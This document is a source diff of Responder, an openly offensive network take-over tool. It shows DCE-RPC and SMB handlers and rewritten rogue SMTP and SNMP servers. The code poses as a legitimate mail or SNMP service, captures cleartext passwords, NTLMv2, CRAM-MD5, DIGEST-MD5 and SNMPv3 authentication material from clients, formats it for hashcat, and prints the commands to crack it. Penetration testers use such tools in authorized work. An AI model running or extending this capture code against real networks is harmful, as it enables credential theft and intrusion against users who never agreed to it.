#RPC = RPCHeader(Data = x, CallID=NetworkRecvBufferPython2or3(data[12:16]))
#RPC.calculate()
#self.request.send(NetworkSendBufferPython2or3(str(RPC)))
#data = self.request.recv(1024)
#print(color("[*] [DCE-RPC Mapper] Redirected %-15s to NETLOGON auth server." % (self.client_address[0]), 3, 1))
except Exception:
self.request.close()
return
# Try to receive more data
try:
data = self.request.recv(2048)
if data and FindNTLMOpcode(data) == b"\x03\x00\x00\x00":
ParseRPCHash(data, self.client_address[0], Challenge)
print(color("[*] [DCE-RPC] NTLM authentication on %s from %s" % (name or "unknown interface", self.client_address[0].replace("::ffff:", "")), 3, 1))
except:
pass
except Exception as e:
if settings.Config.Verbose:
print(text('[DCE-RPC] Exception in RPCMap: %s' % str(e)))
pass
finally:
try:
self.request.close()
except:
pass
class RPCMapper(BaseRequestHandler):
"""RPCMapper handler - Handles actual RPC service connections"""
def handle(self):
try:
data = self.request.recv(2048)
if not data:
return
self.request.settimeout(3)
Challenge = RandomChallenge()
# Look for NTLMSSP NEGOTIATE
if FindNTLMOpcode(data) == b"\x01\x00\x00\x00":
n = NTLMChallenge(NTLMSSPNtServerChallenge=NetworkRecvBufferPython2or3(Challenge))
n.calculate()
RPC = RPCNTLMNego(Data=n)
RPC.calculate()
self.request.send(NetworkSendBufferPython2or3(str(RPC)))
data = self.request.recv(1024)
# Wait for NTLMSSP AUTH
data = self.request.recv(2048)
# Look for NTLMSSP AUTH
if FindNTLMOpcode(data) == b"\x03\x00\x00\x00":
ParseRPCHash(data, self.client_address[0], Challenge)
self.request.close()
except Exception:
self.request.close()
print(color("[*] [DCE-RPC Mapper] NTLM authentication from %s" % self.client_address[0].replace("::ffff:", ""), 3, 1))
# Check if this is a BIND with auth
elif data[0:3] == b"\x05\x00\x0b":
uuid, name = FindInterfaceUUID(data)
if name and settings.Config.Verbose:
print(text('[DCE-RPC Mapper] Connection for %s from %s' % (name, self.client_address[0].replace("::ffff:", ""))))
# Check for NTLMSSP in BIND
if FindNTLMOpcode(data) == b"\x01\x00\x00\x00":
n = NTLMChallenge(NTLMSSPNtServerChallenge=NetworkRecvBufferPython2or3(Challenge))
n.calculate()
RPC = RPCNTLMNego(Data=n)
RPC.calculate()
self.request.send(NetworkSendBufferPython2or3(str(RPC)))
data = self.request.recv(2048)
if FindNTLMOpcode(data) == b"\x03\x00\x00\x00":
ParseRPCHash(data, self.client_address[0], Challenge)
print(color("[*] [DCE-RPC Mapper] NTLM authentication on %s from %s" % (name or "unknown interface", self.client_address[0].replace("::ffff:", "")), 3, 1))
except Exception as e:
if settings.Config.Verbose:
print(text('[DCE-RPC Mapper] Exception: %s' % str(e)))
pass
finally:
try:
self.request.close()
except:
pass

View File

@@ -201,7 +201,7 @@ class SMB1(BaseRequestHandler): # SMB1 & SMB2 Server class, NTLMSSP
break
if data[0:1] == b"\x81": #session request 139
Buffer = "\x82\x00\x00\x00"
Buffer = b"\x82\x00\x00\x00"
try:
self.request.send(Buffer)
data = self.request.recv(1024)

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python
# This file is part of Responder, a network take-over set of tools
# created and maintained by Laurent Gaffie.
# email: laurent.gaffie@gmail.com
# email: lgaffie@secorizon.com
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
@@ -15,7 +15,14 @@
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
from utils import *
from base64 import b64decode
from base64 import b64decode, b64encode
import hashlib
import codecs
import struct
import re
import ssl
import os
if settings.Config.PY2OR3 == "PY3":
from socketserver import BaseRequestHandler
else:
@@ -23,59 +30,617 @@ else:
from packets import SMTPGreeting, SMTPAUTH, SMTPAUTH1, SMTPAUTH2
class ESMTP(BaseRequestHandler):
"""SMTP server with multiple authentication methods and STARTTLS"""
def __init__(self, *args, **kwargs):
self.challenge = None
BaseRequestHandler.__init__(self, *args, **kwargs)
def send_response(self, code, message):
"""Send SMTP response"""
response = "%d %s\r\n" % (code, message)
self.request.send(response.encode('latin-1'))
def send_multiline_response(self, code, lines):
"""Send multi-line SMTP response"""
for i, line in enumerate(lines):
if i < len(lines) - 1:
response = "%d-%s\r\n" % (code, line)
else:
response = "%d %s\r\n" % (code, line)
self.request.send(response.encode('latin-1'))
def send_continue(self, data=""):
"""Send continuation response for AUTH"""
if data:
response = "334 %s\r\n" % data
else:
response = "334\r\n"
self.request.send(response.encode('latin-1'))
def upgrade_to_tls(self):
"""Upgrade connection to TLS using Responder's SSL certificates"""
try:
# Get SSL certificate paths from Responder config
cert_path = os.path.join(settings.Config.ResponderPATH, settings.Config.SSLCert)
key_path = os.path.join(settings.Config.ResponderPATH, settings.Config.SSLKey)
if not os.path.exists(cert_path) or not os.path.exists(key_path):
if settings.Config.Verbose:
print(text('[SMTP] SSL certificates not found'))
return False
# Create SSL context
context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
context.load_cert_chain(cert_path, key_path)
# Wrap socket
self.request = context.wrap_socket(self.request, server_side=True)
if settings.Config.Verbose:
print(text('[SMTP] Successfully upgraded to TLS from %s' %
self.client_address[0].replace("::ffff:", "")))
return True
except Exception as e:
if settings.Config.Verbose:
print(text('[SMTP] TLS upgrade failed: %s' % str(e)))
return False
def handle_auth_plain(self, data):
"""Handle AUTH PLAIN"""
try:
# AUTH PLAIN can be:
# AUTH PLAIN <base64>
# or
# AUTH PLAIN
# <base64>
auth_match = re.search(b'AUTH PLAIN (.+)', data, re.IGNORECASE)
if auth_match:
# Inline format
auth_data = auth_match.group(1).strip()
else:
# Need to read next line
self.send_continue()
auth_data = self.request.recv(1024).strip()
if not auth_data or auth_data == b'*':
return False
# Decode
decoded = b64decode(auth_data)
# Format: [authzid]\x00username\x00password
parts = decoded.split(b'\x00')
if len(parts) >= 3:
username = parts[1].decode('latin-1', errors='ignore')
password = parts[2].decode('latin-1', errors='ignore')
elif len(parts) == 2:
username = parts[0].decode('latin-1', errors='ignore')
password = parts[1].decode('latin-1', errors='ignore')
else:
return False
SaveToDb({
'module': 'SMTP',
'type': 'AUTH-PLAIN',
'client': self.client_address[0],
'user': username,
'cleartext': password,
'fullhash': username + ":" + password,
})
if settings.Config.Verbose:
print(color("[*] [SMTP] Captured AUTH PLAIN credentials from %s for user %s" % (
self.client_address[0].replace("::ffff:", ""), username), 2, 1))
return True
except Exception as e:
if settings.Config.Verbose:
print(text('[SMTP] Error parsing AUTH PLAIN: %s' % str(e)))
return False
def handle_auth_login(self, data):
"""Handle AUTH LOGIN (two-stage)"""
try:
# Check if username is inline
auth_match = re.search(b'AUTH LOGIN (.+)', data, re.IGNORECASE)
if auth_match:
# Username provided inline
username_b64 = auth_match.group(1).strip()
username = b64decode(username_b64).decode('latin-1', errors='ignore')
else:
# Prompt for username
self.send_continue(b64encode(b"Username:").decode('latin-1'))
username_b64 = self.request.recv(1024).strip()
if not username_b64 or username_b64 == b'*':
return False
username = b64decode(username_b64).decode('latin-1', errors='ignore')
# Prompt for password
self.send_continue(b64encode(b"Password:").decode('latin-1'))
password_b64 = self.request.recv(1024).strip()
if not password_b64 or password_b64 == b'*':
return False
password = b64decode(password_b64).decode('latin-1', errors='ignore')
SaveToDb({
'module': 'SMTP',
'type': 'AUTH-LOGIN',
'client': self.client_address[0],
'user': username,
'cleartext': password,
'fullhash': username + ":" + password,
})
if settings.Config.Verbose:
print(color("[*] [SMTP] Captured AUTH LOGIN credentials from %s for user %s" % (
self.client_address[0].replace("::ffff:", ""), username), 2, 1))
return True
except Exception as e:
if settings.Config.Verbose:
print(text('[SMTP] Error parsing AUTH LOGIN: %s' % str(e)))
return False
def handle_auth_cram_md5(self, data):
"""Handle AUTH CRAM-MD5 (challenge-response)"""
try:
import time
import os
# Generate challenge
challenge = "<%d.%d@%s>" % (os.getpid(), int(time.time()), settings.Config.MachineName)
challenge_b64 = b64encode(challenge.encode('latin-1')).decode('latin-1')
# Send challenge
self.send_continue(challenge_b64)
# Receive response
response_b64 = self.request.recv(1024).strip()
if not response_b64 or response_b64 == b'*':
return False
response = b64decode(response_b64).decode('latin-1', errors='ignore')
# Format: username<space>digest
parts = response.split(' ', 1)
if len(parts) < 2:
return False
username = parts[0]
digest = parts[1].lower()
# Format for hashcat
hash_string = "%s:$cram_md5$%s$%s" % (username, challenge, digest)
SaveToDb({
'module': 'SMTP',
'type': 'CRAM-MD5',
'client': self.client_address[0],
'user': username,
'hash': digest,
'fullhash': hash_string,
})
if settings.Config.Verbose:
print(color("[*] [SMTP] Captured CRAM-MD5 hash from %s for user %s" % (
self.client_address[0].replace("::ffff:", ""), username), 3, 1))
return True
except Exception as e:
if settings.Config.Verbose:
print(text('[SMTP] Error parsing CRAM-MD5: %s' % str(e)))
return False
def handle_auth_digest_md5(self, data):
"""Handle AUTH DIGEST-MD5"""
try:
import time
import os
# Generate nonce
nonce = hashlib.md5(str(time.time()).encode()).hexdigest()
# Build challenge
challenge_parts = [
'realm="%s"' % settings.Config.MachineName,
'nonce="%s"' % nonce,
'qop="auth"',
'charset=utf-8',
'algorithm=md5-sess'
]
challenge = ','.join(challenge_parts)
challenge_b64 = b64encode(challenge.encode('latin-1')).decode('latin-1')
# Send challenge
self.send_continue(challenge_b64)
# Receive response
response_b64 = self.request.recv(1024).strip()
if not response_b64 or response_b64 == b'*':
return False
response = b64decode(response_b64).decode('latin-1', errors='ignore')
# Parse response
username_match = re.search(r'username="([^"]+)"', response)
realm_match = re.search(r'realm="([^"]+)"', response)
nonce_match = re.search(r'nonce="([^"]+)"', response)
cnonce_match = re.search(r'cnonce="([^"]+)"', response)
nc_match = re.search(r'nc=([0-9a-fA-F]+)', response)
qop_match = re.search(r'qop=([a-z\-]+)', response)
uri_match = re.search(r'digest-uri="([^"]+)"', response)
response_match = re.search(r'response=([0-9a-fA-F]+)', response)
if not username_match or not response_match:
return False
username = username_match.group(1)
realm = realm_match.group(1) if realm_match else ''
resp_nonce = nonce_match.group(1) if nonce_match else ''
cnonce = cnonce_match.group(1) if cnonce_match else ''
nc = nc_match.group(1) if nc_match else ''
qop = qop_match.group(1) if qop_match else ''
uri = uri_match.group(1) if uri_match else ''
resp_hash = response_match.group(1)
# Format for hashcat/john
hash_string = "%s:$sasl$DIGEST-MD5$%s$%s$%s$%s$%s$%s$%s" % (
username, realm, nonce, cnonce, nc, qop, uri, resp_hash
)
SaveToDb({
'module': 'SMTP',
'type': 'DIGEST-MD5',
'client': self.client_address[0],
'user': username,
'hash': resp_hash,
'fullhash': hash_string,
})
if settings.Config.Verbose:
print(color("[*] [SMTP] Captured DIGEST-MD5 hash from %s for user %s" % (
self.client_address[0].replace("::ffff:", ""), username), 3, 1))
# Send rspauth (expected by some clients)
rspauth = 'rspauth=' + resp_hash
self.send_continue(b64encode(rspauth.encode('latin-1')).decode('latin-1'))
# Client should send empty line
self.request.recv(1024)
return True
except Exception as e:
if settings.Config.Verbose:
print(text('[SMTP] Error parsing DIGEST-MD5: %s' % str(e)))
return False
def handle_auth_ntlm(self, data):
"""Handle AUTH NTLM with proper Type 2 challenge"""
try:
import time
# Check for inline NTLM NEGOTIATE
auth_match = re.search(b'AUTH NTLM (.+)', data, re.IGNORECASE)
if auth_match:
negotiate_b64 = auth_match.group(1).strip()
else:
# Send empty continuation
self.send_continue()
negotiate_b64 = self.request.recv(1024).strip()
if not negotiate_b64 or negotiate_b64 == b'*':
return False
negotiate = b64decode(negotiate_b64)
# Verify NTLMSSP signature
if negotiate[0:8] != b'NTLMSSP\x00':
return False
msg_type = struct.unpack('<I', negotiate[8:12])[0]
if msg_type != 1: # Type 1 - NEGOTIATE
return False
# Generate Type 2 with proper structure
type2_msg = self.generate_ntlm_type2()
challenge_b64 = b64encode(type2_msg).decode('latin-1')
# Send challenge
self.send_continue(challenge_b64)
# Receive NTLMSSP AUTH (Type 3)
auth_b64 = self.request.recv(2048).strip()
if not auth_b64 or auth_b64 == b'*':
return False
auth_data = b64decode(auth_b64)
# Parse Type 3 and extract hash
ntlm_hash = self.parse_ntlm_type3(auth_data, type2_msg)
if ntlm_hash:
# Extract username from hash for logging
username = ntlm_hash.split('::')[0]
SaveToDb({
'module': 'SMTP',
'type': 'NTLMv2-SSP',
'client': self.client_address[0],
'user': username,
'hash': ntlm_hash,
'fullhash': ntlm_hash,
})
if settings.Config.Verbose:
print(color("[*] [SMTP] Captured NTLMv2 hash from %s for user %s" % (
self.client_address[0].replace("::ffff:", ""), username), 3, 1))
return True
return False
except Exception as e:
if settings.Config.Verbose:
print(text('[SMTP] Error parsing NTLM: %s' % str(e)))
return False
def generate_ntlm_type2(self):
"""Generate NTLM Type 2 with target info for NTLMv2"""
import time
# Generate random 8-byte challenge
challenge = RandomChallenge()
# Target name: "WORKGROUP" (18 bytes in UTF-16LE)
target_name = b'WORKGROUP'.decode('ascii').encode('utf-16le')
target_name_len = len(target_name)
# Build target info (AV pairs) for NTLMv2
target_info = b''
# MsvAvNbDomainName (0x0002)
av_domain = b'WORKGROUP'.decode('ascii').encode('utf-16le')
target_info += struct.pack('<HH', 0x0002, len(av_domain)) + av_domain
# MsvAvNbComputerName (0x0001)
av_computer = b'SERVER'.decode('ascii').encode('utf-16le')
target_info += struct.pack('<HH', 0x0001, len(av_computer)) + av_computer
# MsvAvDnsDomainName (0x0004)
av_dns_domain = b'workgroup'.decode('ascii').encode('utf-16le')
target_info += struct.pack('<HH', 0x0004, len(av_dns_domain)) + av_dns_domain
# MsvAvDnsComputerName (0x0003)
av_dns_computer = b'server'.decode('ascii').encode('utf-16le')
target_info += struct.pack('<HH', 0x0003, len(av_dns_computer)) + av_dns_computer
# MsvAvTimestamp (0x0007) - 8 bytes FILETIME
filetime = int((time.time() + 11644473600) * 10000000)
target_info += struct.pack('<HH', 0x0007, 8) + struct.pack('<Q', filetime)
# MsvAvEOL (0x0000)
target_info += struct.pack('<HH', 0x0000, 0)
target_info_len = len(target_info)
# Calculate offsets
target_name_offset = 48
target_info_offset = target_name_offset + target_name_len
# Build Type 2 message
type2_msg = b'NTLMSSP\x00' # Signature
type2_msg += struct.pack('<I', 2) # Type 2
# Target name (LE format: len, max len, offset)
type2_msg += struct.pack('<HHI', target_name_len, target_name_len, target_name_offset)
# Flags - use HTTP server flags for compatibility
type2_msg += b'\x05\x02\x81\xa2' # 0xa2810205
# Challenge (8 bytes)
type2_msg += challenge
# Context (8 bytes, reserved)
type2_msg += b'\x00' * 8
# Target info (LE format: len, max len, offset)
type2_msg += struct.pack('<HHI', target_info_len, target_info_len, target_info_offset)
# Payload
type2_msg += target_name
type2_msg += target_info
return type2_msg
def parse_ntlm_type3(self, type3_msg, type2_msg):
"""Parse Type 3 and extract NetNTLMv2 hash"""
try:
# Verify signature
if type3_msg[:8] != b'NTLMSSP\x00':
return None
# Verify message type
msg_type = struct.unpack('<I', type3_msg[8:12])[0]
if msg_type != 3:
return None
# Parse security buffers
# LM Response
lm_len, lm_maxlen, lm_offset = struct.unpack('<HHI', type3_msg[12:20])
# NTLM Response
ntlm_len, ntlm_maxlen, ntlm_offset = struct.unpack('<HHI', type3_msg[20:28])
# Domain name
domain_len, domain_maxlen, domain_offset = struct.unpack('<HHI', type3_msg[28:36])
# User name
user_len, user_maxlen, user_offset = struct.unpack('<HHI', type3_msg[36:44])
# Workstation name
ws_len, ws_maxlen, ws_offset = struct.unpack('<HHI', type3_msg[44:52])
# Extract strings
if user_offset + user_len <= len(type3_msg):
user = type3_msg[user_offset:user_offset+user_len].decode('utf-16le', errors='ignore')
else:
user = ""
if domain_offset + domain_len <= len(type3_msg):
domain = type3_msg[domain_offset:domain_offset+domain_len].decode('utf-16le', errors='ignore')
else:
domain = ""
# DO NOT parse email addresses - use exact Type 3 fields for hashcat
if ws_offset + ws_len <= len(type3_msg):
workstation = type3_msg[ws_offset:ws_offset+ws_len].decode('utf-16le', errors='ignore')
else:
workstation = ""
# Extract NTLM response
if ntlm_offset + ntlm_len <= len(type3_msg):
ntlm_response = type3_msg[ntlm_offset:ntlm_offset+ntlm_len]
else:
return None
# Check if NTLMv2 (response length > 24 bytes)
if len(ntlm_response) > 24:
# NTLMv2
ntlmv2_response = ntlm_response[:16] # First 16 bytes
ntlmv2_blob = ntlm_response[16:] # Rest is the blob
# Extract challenge from Type 2
challenge = type2_msg[24:32] # Challenge is at offset 24
# Build hashcat NetNTLMv2 format
# Format: username::domain:challenge:ntlmv2_response:blob
# For hashcat mode 5600
hash_str = "%s::%s:%s:%s:%s" % (
user,
domain,
codecs.encode(challenge, 'hex').decode('latin-1'),
codecs.encode(ntlmv2_response, 'hex').decode('latin-1'),
codecs.encode(ntlmv2_blob, 'hex').decode('latin-1')
)
return hash_str
# NTLMv1 or unsupported
return None
except Exception as e:
return None
def handle(self):
try:
# Send greeting
self.request.send(NetworkSendBufferPython2or3(SMTPGreeting()))
data = self.request.recv(1024)
if data[0:4] == b'EHLO' or data[0:4] == b'ehlo':
self.request.send(NetworkSendBufferPython2or3(SMTPAUTH()))
# Handle EHLO
if data[0:4].upper() == b'EHLO' or data[0:4].upper() == b'HELO':
# Send ESMTP capabilities
capabilities = [
settings.Config.MachineName + " Hello",
"STARTTLS",
"AUTH PLAIN LOGIN CRAM-MD5 DIGEST-MD5 NTLM",
"SIZE 35651584",
"8BITMIME",
"PIPELINING",
"ENHANCEDSTATUSCODES"
]
self.send_multiline_response(250, capabilities)
data = self.request.recv(1024)
if data[0:4] == b'AUTH':
AuthPlain = re.findall(b'(?<=AUTH PLAIN )[^\r]*', data)
if AuthPlain:
User = list(filter(None, b64decode(AuthPlain[0]).split(b'\x00')))
Username = User[0].decode('latin-1')
Password = User[1].decode('latin-1')
SaveToDb({
'module': 'SMTP',
'type': 'Cleartext',
'client': self.client_address[0],
'user': Username,
'cleartext': Password,
'fullhash': Username+":"+Password,
})
else:
self.request.send(NetworkSendBufferPython2or3(SMTPAUTH1()))
data = self.request.recv(1024)
# Handle STARTTLS command
if data[0:8].upper() == b'STARTTLS':
self.send_response(220, "Ready to start TLS")
if data:
try:
User = list(filter(None, b64decode(data).split(b'\x00')))
Username = User[0].decode('latin-1')
Password = User[1].decode('latin-1')
except:
Username = b64decode(data).decode('latin-1')
self.request.send(NetworkSendBufferPython2or3(SMTPAUTH2()))
data = self.request.recv(1024)
if data:
try: Password = b64decode(data).decode('latin-1')
except: Password = data
SaveToDb({
'module': 'SMTP',
'type': 'Cleartext',
'client': self.client_address[0],
'user': Username,
'cleartext': Password,
'fullhash': Username+":"+Password,
})
except Exception:
# Upgrade to TLS
if self.upgrade_to_tls():
# After successful TLS upgrade, client will send EHLO again
data = self.request.recv(1024)
# Handle EHLO after STARTTLS
if data[0:4].upper() == b'EHLO' or data[0:4].upper() == b'HELO':
# Send capabilities again (without STARTTLS this time)
capabilities = [
settings.Config.MachineName + " Hello",
"AUTH PLAIN LOGIN CRAM-MD5 DIGEST-MD5 NTLM",
"SIZE 35651584",
"8BITMIME",
"PIPELINING",
"ENHANCEDSTATUSCODES"
]
self.send_multiline_response(250, capabilities)
data = self.request.recv(1024)
else:
# TLS upgrade failed
self.send_response(454, "TLS not available")
return
# Handle AUTH command
if data[0:4].upper() == b'AUTH':
mechanism = data[5:].strip().split(b' ')[0].upper()
if mechanism == b'PLAIN':
if self.handle_auth_plain(data):
self.send_response(235, "Authentication successful")
else:
self.send_response(535, "Authentication failed")
return
elif mechanism == b'LOGIN':
if self.handle_auth_login(data):
self.send_response(235, "Authentication successful")
else:
self.send_response(535, "Authentication failed")
return
elif mechanism == b'CRAM-MD5' or mechanism.startswith(b'CRAM'):
if self.handle_auth_cram_md5(data):
self.send_response(235, "Authentication successful")
else:
self.send_response(535, "Authentication failed")
return
elif mechanism == b'DIGEST-MD5' or mechanism.startswith(b'DIGEST'):
if self.handle_auth_digest_md5(data):
self.send_response(235, "Authentication successful")
else:
self.send_response(535, "Authentication failed")
return
elif mechanism == b'NTLM':
if self.handle_auth_ntlm(data):
self.send_response(235, "Authentication successful")
else:
self.send_response(535, "Authentication failed")
return
else:
self.send_response(504, "Unrecognized authentication type")
return
# Handle other commands
self.send_response(250, "OK")
except Exception as e:
if settings.Config.Verbose:
print(text('[SMTP] Exception: %s' % str(e)))
pass

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python
# This file is part of Responder, a network take-over set of tools
# This file is part of Responder, a network take-over set of tools
# created and maintained by Laurent Gaffie.
# email: laurent.gaffie@gmail.com
# email: lgaffie@secorizon.com
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
@@ -15,48 +15,377 @@
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
from utils import *
from binascii import hexlify
from pyasn1.codec.ber.decoder import decode
from binascii import hexlify, unhexlify
import struct
try:
from pyasn1.codec.ber.decoder import decode
from pyasn1.codec.ber.encoder import encode
HAS_PYASN1 = True
except ImportError:
HAS_PYASN1 = False
if settings.Config.Verbose:
print(text('[SNMP] Warning: pyasn1 not installed, SNMP server disabled'))
if settings.Config.PY2OR3 == "PY3":
from socketserver import BaseRequestHandler
else:
from SocketServer import BaseRequestHandler
# SNMPv3 Authentication Algorithms
SNMPV3_AUTH_ALGORITHMS = {
b'\x06\x0c\x2b\x06\x01\x06\x03\x0f\x01\x01\x04\x00': ('usmNoAuthProtocol', None),
b'\x06\x0a\x2b\x06\x01\x06\x03\x0a\x01\x01\x02': ('usmHMACMD5AuthProtocol', 25100),
b'\x06\x0a\x2b\x06\x01\x06\x03\x0a\x01\x01\x03': ('usmHMACSHAAuthProtocol', 25200),
b'\x06\x09\x2b\x06\x01\x06\x03\x0a\x01\x01\x04': ('usmHMAC128SHA224AuthProtocol', 25300),
b'\x06\x09\x2b\x06\x01\x06\x03\x0a\x01\x01\x05': ('usmHMAC192SHA256AuthProtocol', 25400),
b'\x06\x09\x2b\x06\x01\x06\x03\x0a\x01\x01\x06': ('usmHMAC256SHA384AuthProtocol', 25500),
b'\x06\x09\x2b\x06\x01\x06\x03\x0a\x01\x01\x07': ('usmHMAC384SHA512AuthProtocol', 25600),
}
class SNMP(BaseRequestHandler):
def handle(self):
data = self.request[0]
received_record, rest_of_substrate = decode(data)
snmp_version = int(received_record['field-0'])
if snmp_version == 3:
full_snmp_msg = hexlify(data).decode('utf-8')
if not HAS_PYASN1:
return
try:
data = self.request[0]
socket = self.request[1]
# Decode the SNMP message
try:
received_record, rest_of_substrate = decode(data)
except Exception as e:
if settings.Config.Verbose:
print(text('[SNMP] ASN.1 decode error: %s' % str(e)))
return
# Get SNMP version
try:
snmp_version = int(received_record['field-0'])
except:
if settings.Config.Verbose:
print(text('[SNMP] Could not determine SNMP version'))
return
# Handle SNMPv3
if snmp_version == 3:
self.handle_snmpv3(data, received_record, socket)
# Handle SNMPv1/v2c
else:
self.handle_snmpv1v2c(data, received_record, snmp_version, socket)
except Exception as e:
if settings.Config.Verbose:
print(text('[SNMP] Exception in handler: %s' % str(e)))
pass
def handle_snmpv3(self, data, received_record, socket):
"""Handle SNMPv3 messages and extract authentication parameters"""
try:
# Decode the inner security parameters
received_record_inner, _ = decode(received_record['field-2'])
# Extract fields
snmp_user = str(received_record_inner['field-3'])
engine_id = hexlify(received_record_inner['field-0']._value).decode('utf-8')
engine_boots = int(received_record_inner['field-1'])
engine_time = int(received_record_inner['field-2'])
auth_params = hexlify(received_record_inner['field-4']._value).decode('utf-8')
priv_params = hexlify(received_record_inner['field-5']._value).decode('utf-8')
# Zero out authentication parameters in packet for hashcat
# Hashcat recalculates HMAC over packet with auth params = zeros
data_hex = hexlify(data).decode('utf-8')
if auth_params and auth_params != '00' * 12:
# Replace auth params with zeros in the packet
zeroed_auth = '00' * (len(auth_params) // 2)
full_snmp_msg = data_hex.replace(auth_params, zeroed_auth)
else:
full_snmp_msg = data_hex
# Determine authentication algorithm
auth_algo_name, hashcat_mode = self.identify_auth_algorithm(data)
# If not detected by OID, infer from auth params length
if not hashcat_mode and auth_params and auth_params != '00' * 12:
auth_len = len(auth_params) // 2 # Convert hex to bytes
if auth_len == 12:
# Could be MD5 or SHA1 - use combined mode
auth_algo_name = 'HMAC-MD5-96/HMAC-SHA1-96'
hashcat_mode = 25000
elif auth_len == 16:
auth_algo_name = 'HMAC-SHA224'
hashcat_mode = 25300
elif auth_len == 24:
auth_algo_name = 'HMAC-SHA256'
hashcat_mode = 25400
elif auth_len == 32:
auth_algo_name = 'HMAC-SHA384'
hashcat_mode = 25500
elif auth_len == 48:
auth_algo_name = 'HMAC-SHA512'
hashcat_mode = 25600
# Check if this is a discovery request (no auth params and empty username)
if (not auth_params or auth_params == '00' * 12) and (not snmp_user or snmp_user == ''):
# Send discovery response with our engine ID
self.send_discovery_response(socket, received_record)
return
# Check if authentication is actually being used
if not auth_params or auth_params == '00' * 12:
# Still save the username with noAuth indicator
SaveToDb({
"module": "SNMP",
"type": "SNMPv3-noAuth",
"client": self.client_address[0],
"user": snmp_user,
"cleartext": "(noAuth)",
"fullhash": snmp_user + ":(noAuth)"
})
return
# Build hashcat-compatible hash
if hashcat_mode:
# Format for mode 25000: $SNMPv3$<type>$<boots>$<packet>$<engine_id>$<auth_params>
# type: 0=MD5/SHA1, 1=SHA1, 2=SHA224, etc.
# boots: engine boots in decimal
# packet: full SNMP packet in hex
# engine_id: engine ID in hex
# auth_params: authentication parameters in hex
auth_type_map = {
25000: 0, # MD5/SHA1 combined
25100: 0, # MD5
25200: 1, # SHA1
25300: 2, # SHA224
25400: 3, # SHA256
25500: 4, # SHA384
25600: 5, # SHA512
}
auth_type = auth_type_map.get(hashcat_mode, 0)
# Build the hash in correct format
hashcat_hash = "$SNMPv3$%d$%d$%s$%s$%s" % (
auth_type,
engine_boots,
full_snmp_msg,
engine_id,
auth_params
)
if settings.Config.Verbose:
print(text('[SNMP] SNMPv3 hash captured!'))
print(text('[SNMP] Crack with: hashcat -m %d hash.txt wordlist.txt' % hashcat_mode))
if hashcat_mode == 25000:
print(text('[SNMP] Note: Mode 25000 tries both MD5 and SHA1'))
print(text('[SNMP] Or use -m 25100 (MD5 only) or -m 25200 (SHA1 only)'))
# Sanitize type name for filesystem (remove slashes)
safe_type = auth_algo_name.replace('/', '-')
SaveToDb({
"module": "SNMP",
"type": "SNMPv3-%s" % safe_type,
"client": self.client_address[0],
"user": snmp_user,
"hash": hashcat_hash,
"fullhash": hashcat_hash
})
else:
# Unknown algorithm or no auth - save basic info
SaveToDb({
"module": "SNMP",
"type": "SNMPv3",
"client": self.client_address[0],
"user": snmp_user,
"hash": auth_params,
"fullhash": "{}:{}:{}:{}".format(snmp_user, full_snmp_msg, engine_id, auth_params)
})
# Send a response (Report PDU indicating authentication failure)
# This keeps the conversation going
self.send_snmpv3_report(socket)
except Exception as e:
if settings.Config.Verbose:
print(text('[SNMP] SNMPv3 parsing error: %s' % str(e)))
pass
def handle_snmpv1v2c(self, data, received_record, snmp_version, socket):
"""Handle SNMPv1/v2c messages and extract community strings"""
try:
community_string = str(received_record['field-1'])
version_str = 'v1' if snmp_version == 0 else 'v2c'
if settings.Config.Verbose:
print(text('[SNMP] %s Community String: %s' % (version_str, community_string)))
# Validate community string (should be printable)
if not community_string or not self.is_printable(community_string):
return
SaveToDb({
"module": "SNMP",
"type": "SNMPv3",
"client" : self.client_address[0],
"user": snmp_user,
"hash": auth_params,
"fullhash": "{}:{}:{}:{}".format(snmp_user, full_snmp_msg, engine_id, auth_params)
"type": "Cleartext SNMP%s" % version_str,
"client": self.client_address[0],
"user": community_string,
"cleartext": community_string,
"fullhash": community_string,
})
else:
community_string = str(received_record['field-1'])
snmp_version = '1' if snmp_version == 0 else '2c'
SaveToDb(
{
"module": "SNMP",
"type": "Cleartext SNMPv{}".format(snmp_version),
"client": self.client_address[0],
"user": community_string,
"cleartext": community_string,
"fullhash": community_string,
}
)
# Send a response (could be a proper SNMP response or error)
# For now, we just close the connection
except Exception as e:
if settings.Config.Verbose:
print(text('[SNMP] SNMPv1/v2c parsing error: %s' % str(e)))
pass
def identify_auth_algorithm(self, data):
"""
Identify the authentication algorithm used in SNMPv3
Returns (algorithm_name, hashcat_mode)
"""
try:
# Look for OID patterns in the raw data
for oid_bytes, (algo_name, hashcat_mode) in SNMPV3_AUTH_ALGORITHMS.items():
if oid_bytes in data:
return (algo_name, hashcat_mode)
# If not found by OID, try to infer from auth params length
# MD5: 12 bytes, SHA1: 12 bytes, SHA224: 16 bytes, SHA256: 24 bytes, SHA384: 32 bytes, SHA512: 48 bytes
# Note: This is less reliable
return (None, None)
except:
return (None, None)
def is_printable(self, s):
"""Check if string contains only printable characters"""
try:
return all(32 <= ord(c) <= 126 for c in s)
except:
return False
def send_snmpv3_report(self, socket):
"""
Send a minimal SNMPv3 Report PDU
This indicates authentication failure but keeps the conversation alive
"""
try:
# Minimal Report PDU - just close for now
# A proper implementation would build a valid SNMP Report PDU
pass
except:
pass
def send_discovery_response(self, socket, received_record):
"""
Send SNMPv3 discovery response with engine ID
This allows the client to send authenticated request
"""
try:
from pyasn1.type import univ
from pyasn1.codec.ber.encoder import encode
import os
import time
# Generate a random engine ID (or use a fixed one)
# Format: 0x80 + enterprise ID (4 bytes) + format + data
# Enterprise ID: 0x00000000 (reserved)
# Format: 0x05 (octets - allows arbitrary data)
# Data: 12 random bytes (17 bytes total to match hashcat requirements)
engine_id = b'\x80\x00\x00\x00\x05' + os.urandom(12)
# Engine boots and time
engine_boots = 1
engine_time = int(time.time()) % 2147483647
# Build the SNMPv3 message with Report-PDU
# Structure: SEQUENCE { version, globalData, securityParameters, scopedPDU }
# Global data
msg_id = int(received_record['field-1']['field-0'])
global_data = univ.Sequence()
global_data.setComponentByPosition(0, univ.Integer(msg_id))
